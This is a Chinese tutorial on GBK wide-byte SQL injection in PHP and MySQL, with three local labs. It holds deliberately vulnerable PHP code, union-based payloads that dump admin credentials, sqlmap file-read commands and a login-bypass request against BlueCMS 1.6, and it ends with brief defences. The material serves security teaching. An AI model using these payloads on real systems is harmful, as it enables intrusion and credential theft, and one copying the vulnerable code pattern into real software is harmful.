宽字节注入深度讲解

SQL 宽字节注入深度讲解,包含 SQL 注入常见流程、SQL 宽字节注入以及防护

1. 基本概念

宽字节是相对于ascII这样单字节而言的;像 GB2312、GBK、GB18030、BIG5、Shift_JIS 等这些都是常说的宽字节,实际上只有两字节

GBK 是一种多字符的编码,通常来说,一个 gbk 编码汉字,占用2个字节。一个 utf-8 编码的汉字,占用3个字节

转义函数:为了过滤用户输入的一些数据,对特殊的字符加上反斜杠“\”进行转义;Mysql中转义的函数addslashes,mysql_real_escape_string,mysql_escape_string 等,还有一种是配置magic_quote_gpc,不过 PHP 高版本已经移除此功能。

2. SQL的执行过程

  1. 以 php 客户端为例,使用者输入数据后,会通过php的默认编码生成sql语句发送给服务器。在php没有开启default_charset编码时,php的默认编码为空。
    1

    此时 php 会根据数据库中的编码自动来确定使用那种编码,可以使用 <?php $m=”字”; echo strlen($m); 来进行判断,如果输出的值是3说明是utf-8编码;如果输出的值是 2 说明是 gbk 编码。

  2. 服务器接收到请求后会把客户端编码的字符串转换成连接层编码字符串(具体流程是先使用系统变量 character_set_client 对 SQL 语句进行解码后,然后使用 系统变量 character_set_connection 对解码后的十六进制进行编码)。
    2

  3. 进行内部操作前,将请求按照如下规则转化成内部操作字符集,如下:

  • 使用字段 CHARACTER SET 设定值;
  • 若上述值不存在,使用对应数据表的DEFAULT CHARACTER SET设定值;
    3
  • 若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;
  • 若上述值不存在,则使用character_set_server设定值。
  1. 执行完 SQL 语句之后,将执行结果按照 character_set_results 编码进行输出。

3. 宽字节注入

宽字节注入指的是 mysql 数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为',其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是’運’,从而使单引号闭合(逃逸),进行注入攻击。
4

宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码,然后服务器会根据character_set_connection把请求进行转码,从character_set_client转成character_set_connection,然后更新到数据库的时候,再转化成字段所对应的编码

以下是数据的变化过程:

1
2
3
%df%27===>(addslashes)====>%df%5c%27====>(GBK)====>運’

用户输入==>过滤函数==>代码层的$sql==>mysql处理请求==>mysql中的sql

4. 环境搭建及分析

4.1 实验1

为了方便演示该注入的过程,搭建一下环境
链接:https://pan.baidu.com/s/1cMFtCpbbaocMjaWJx7YLcQ 密码:ykve
数据库名为test,数据库的编码全部为gdk
5

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/*
Team:红日安全团队
团队成员:CPR
Title:宽字节注入
*/
//连接数据库部分,注意使用了gbk编码
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES 'gbk'");
mysql_select_db('test', $conn) OR emMsg("连接数据库失败,未找到您填写的数据库");
//执行sql语句
$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;
$sql = "SELECT * FROM news WHERE tid='{$id}'";
$result = mysql_query($sql, $conn) or die(mysql_error());
echo "<br>"."执行的sql语句是:".$sql."<br>"
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="gbk" />
<title>宽字节测试</title>
<meta charset="utf-8"/>
</head>
<body>
<form action="test.php" method="get">
<b>请输入值:</b> <input type="text" name="id"/>
</form>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h2>{$row['title']}</h2><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>

加上 echo "<br>"."执行的sql语句是:".$sql."<br>" 这句话,可以清楚的查看sql语句的变化过程。

sql 语句是 SELECT * FROM news WHERE tid='{$id} 根据 id 从数据库表中获取信息。

4.1.1 确定注入点

6
单纯加上单引号没有报错,说明addslashes函数发挥了作用,将’ –> ',这样就不会存在注入了。

7
此时,在单引号前面加上前面讲的%df,是**mysql认为%df**是一个汉字,这样’就可以逃逸出来,使tid = ‘1’闭合。

这时候,按说是可以构造查询语句了,可是为什么还在报错呢,因为tid=’1’后面的’没有闭合,需要使用注释符号(– ‘或#)将这个多余的’注释掉,这样就可以构造注入语句了。
8

下面就可以按照手动注入的思路进行数据的获取了。

4.1.2 确定表的字段数

由于接下来要采用union探测内容,而union的规则是必须要求列数相同才能正常展示,因此必须要探测列数,保证构造的注入查询结果与元查询结果列数与数据类型相同; ‘order by 1’代表按第一列升序排序,若数字代表的列不存在,则会报错,由此可以探测出有多少列。

1
http://127.0.0.1/index.php?id=1 %df' order by 4 -- '

8

可知一共有3个字段

4.1.3 确定字段的显示位

显示位:表中数据第几位的字段可以 显示,因为并不是所有的查询结果都 会展示在页面中,因此需要探测页面 中展示的查询结果是哪一列的结果; ‘union select 1,2,3 – ‘ 通过显示的数字可以判断那些字段可以显示出来。

1
http://127.0.0.1/index.php?id=-1 %df' union select 1,2,3 -- '

9

id的值要用-1或者该表中没有用过的id值,否则测试值会被覆盖。

4.1.4 获取当前数据库信息

1. 获取当前数据库名

现在只有两个字段可以显示信息,显然在后面的查询数据中,两个字段是不够用,可以使用:

  • group_concat()函数(可以把查询出来的多行数据连接起来在一个字段中显示)
  • database()函数:查看当前数据库名称
  • version()函数:查看数据库版本信息
  • user():返回当前数据库连接使用的用户
  • char():将十进制ASCII码转化成字符
    10

当前数据库名为’test’。

2. 获取test数据库中的表信息

Mysql有一个系统的数据库 information_schema,里面保存着所有数据库的相关信息,使用该表完成注入

1
2
http://127.0.0.1/index.php?id=-1 %df' union select 1,2,group_concat(table_name)  
from information_schema.tables where table_schema=0x74657374 -- '

11

由于存在addslashes转义了单引号,如果在table_schema中继续使用单引号包裹数据库名字,就会报错,这时候需要使用十六进制编码来避免这个问题。

3. 获取admin表的字段

column_name表示获取字段名

1
2
http://127.0.0.1/index.php?id=-1 %df' union select 1,2,group_concat(column_name)  
from information_schema.columns where table_name=0x61646d696e -- '

12

table_name 需要使用十六进制编码

4. 获取 admin 表的数据
1
http://127.0.0.1/index.php?id=-1 %df' union select 1,2,concat(name,char(58),pass) from admin -- '

13
数据获取到了,可以更深入一下,比如进行文件的读取,提权等操作。

5. 获取当前用户信息

此次会用到工具SQLMAP,sqlmap是一个SQL注入工具。此一具在业界称为神器。sqlmap是用python语言编写,如果想对工具详细了解,请到官网了解。

下载和使用

本实验用到sqlmap,以下是用sqlmap工具操作。使用sqlmap工具第一步猜用户

1
python sqlmap.py -u "127.0.0.1/index.php?id=1 %df'" --current-user

14

看到是root用户,可以更方便的搞事情了。

6. 读服务器中的文件

sqlmap 中–file-read参数,可以读取服务器端任意文件

1
python sqlmap.py -u "127.0.0.1/index.php?id=1 %df'" --file-read="./index.php"

15

已经将文件保存到了本地/root/.sqlmap/output/127.0.0.1/files文件夹下

正常思路,接下来可以进行提权了,由于该环境是搭建在windows下的,使用–file-write参数进行写文件的操作不能执行,这里就不做演示了。

4.2 实验2

为了方便演示该注入的过程,搭建一下环境
链接:https://pan.baidu.com/s/1WC4D-3o-A7uYAi8w_yQ7sA 密码:sbwy
数据库名为test,数据库的编码全部为gdk
16

将 index.php 放到 phpStudy 的 WWW 目录下,将 test.sql 文件导入到数据库中即可

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/*
Team:红日安全团队
团队成员:CPR
Title:宽字节注入
*/
<?php
//连接数据库部分,注意使用了gbk编码
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES 'gbk'");
mysql_select_db('test', $conn) OR emMsg("连接数据库失败,未找到您填写的数据库");
//执行sql语句
mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary", $conn);
$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;
$id = iconv('utf-8', 'gbk', $id);
$sql = "SELECT * FROM news WHERE tid='{$id}'";
$result = mysql_query($sql, $conn) or die(mysql_error());
echo "<br>"."sql:".$sql."<br>"
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="gbk" />
<title>gbk change utf-8</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h2>{$row['title']}</h2><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>

同样也使用了 addslashes转义,然后使用iconv进行转码,由utf-8 –>gbk

为了避免宽字节注入,很多人使用iconv函数(能够完成各种字符集间的转换$text=iconv(“UTF-8”,”GBK”,$text);),其实这样做是有很大风险的,仍旧可以造成宽字节注入。

可以使用逆向思维,先找一个gbk的汉字錦,錦的utf-8编码是0xe98ca6,它的gbk编码是0xe55c,是不是已经看出来了,当传入的值是錦’,’通过addslashes转义为'(%5c%27),錦通过icov转换为%e5%5c,终止变为了%e5%5c%5c%27,不难看出%5c%5c正好把反斜杠转义,使单引号逃逸,造成注入。

4.2.1 注入点

按照实验1的思路,可以执行宽字节注入
16
出现报错信息,说明存在宽字节注入。

17
%5c%5c正好把反斜杠转义,使单引号逃逸

18
获取到数据信息(这里的sql注入方法和实验1一样,读者可以自己尝试练习)

4.3 实验3

bluecms 1.6 版本存在宽字节注入,环境源码:

链接:https://pan.baidu.com/s/11PQqPdopA9bkLBY9gYrpqA 密码:ek6o

漏洞复现

该cms的宽字节注入漏洞存在于http://127.0.0.1/bluecmsv1.6/uploads/admin/index.php.此地址是我们的安装地址,如果是在本地搭建,需要根据你的本地地址和路径来进行判断。

为了更好演示效果,我们进行如下安装。首先根据上面提示的下载地址进行下载源码。

将整个bluecms文件放到phpStudy的WWW目录下,浏览器访问url/bluecms/uploads/install 根据提示进行安装。

19
数据库参数配置

访问http://127.0.0.1/bluecmsv1.6/uploads/admin/login.php?act=login 进入存在注入的页面。

在管理员界面输入登录信息:
20

使用burp suit 进行抓包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /bluecmsv1.6/uploads/admin/login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/bluecmsv1.6/uploads/admin/login.php?act=login
Cookie: PHPSESSID=om57mhu92141dqc3hn8ajce8q1
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 63

admin_name=admin&admin_pwd=123&submit=%B5%C7%C2%BC&act=do_login

admin_name就是注入点,可以实现万能密码登录

构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /bluecmsv1.6/uploads/admin/login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/bluecmsv1.6/uploads/admin/login.php?act=login
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

admin_name=admin %df' or 1=1 -- '&admin_pwd=11&submit=%B5%C7%C2%BC&act=do_login

成功登录后台
21

4.3.1 源码分析

看下管理员登录界面的源码admin/login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
define('IN_BLUE', true);

require_once(dirname(__FILE__) . '/include/common.inc.php');
$act = !empty($_REQUEST['act']) ? trim($_REQUEST['act']) : 'login';

if($act == 'login'){
if($_SESSION['admin_id']){
showmsg('您已登录,不用再次登录', 'index.php');
}
template_assign('current_act', '登录');
$smarty->display('login.htm');
}
...

在第二行可以看到包含了/include/common.inc.php文件,跟进一下

1
2
3
require_once(BLUE_ROOT.'include/mysql.class.php');

$db = new mysql($dbhost,$dbuser,$dbpass,$dbname);

第一行包含了include/mysql.class.php文件,第二行实例化mysql对象,继续跟进mysql.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
function mysql($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect=1){
$func = empty($connect) ? 'mysql_pconnect' : 'mysql_connect';
if(!$this->linkid = @$func($dbhost, $dbuser, $dbpw, true)){
$this->dbshow('Can not connect to Mysql!');
} else {
if($this->dbversion() > '4.1'){
mysql_query( "SET NAMES gbk");
if($this->dbversion() > '5.0.1'){
mysql_query("SET sql_mode = ''",$this->linkid);
}
}
}
...

/include/common.inc.php文件中的mysql实例化对象,调用了这个mysql类,将数据库的连接信息进行封装,重点关注下mysql_query( “SET NAMES gbk”);这一句,使三个字符集(客户端、连接层、结果集)都是GBK编码,经过前面的讲解可以知道gbk是双字节,如果再使用了addslashes()等前面所说的函数进行转义操作,那么一定可以触发宽字节注入

回到common.inc.php,看到

1
2
3
4
5
6
7
if(!get_magic_quotes_gpc())
{
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);
$_COOKIES = deep_addslashes($_COOKIES);
$_REQUEST = deep_addslashes($_REQUEST);
}

如果没有开启get_magic_quotes_gpc(),则会对各种请求数据使deep_addslashes()进行过滤,跟进下这个函数,在common.fun.php文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function deep_addslashes($str)
{
if(is_array($str))
{
foreach($str as $key=>$val)
{
$str[$key] = deep_addslashes($val);
}
}
else
{
$str = addslashes($str);
}
return $str;
}

不管是数组还是字符串都会调用addslashes()函数进行字符的转义

至此可以确定能触发宽字节注入

4.3.2 sql语句分析

前面已经构造了payload,现在看一看完整的sql语句

admin/login.php源码

1
2
3
4
if(check_admin($admin_name, $admin_pwd)){
update_admin_info($admin_name);
if($remember == 1){
...

前面已经构造了payload,现在看一看完整的sql语句

admin/login.php源码

check_admin()函数使用了输入的用户名和密码,跟进一下

该函数在include/common.fun.php文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function check_admin($name, $pwd)
{
global $db;
$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
if($row['num'] > 0)
{
return true;
}
else
{
return false;
}
}
...

正常的sql语句

1
SELECT COUNT(*) AS num FROM blue_admin WHERE admin_name='$name' and pwd = md5('$pwd')

当从blue_admin表中查到admin的信息,num的值就会大于零,这样就可以登录成功

含有payload的sql语句

1
SELECT COUNT(*) AS num FROM blue_admin WHERE admin_name='1 運' or 1=1 -- ' and pwd = md5('$pwd')

登录后台管理,可以寻找上传点,或者利用已知的漏洞,从而getshell,进而控制整个服务器。

5. 防护手段

使用mysql_set_charset(GBK)指定字符集

1
SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary

使用mysql_real_escape_string进行转义

1
mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集(使用mysql_set_charset指定字符集),不会出现前面的df和5c拼接为一个宽字节的问题

以上两个条件需要同时满足才行,缺一不可。

————————————
本文作者:Setup, 转载请注明来自(FreeBuf.COM)[https://www.freebuf.com/]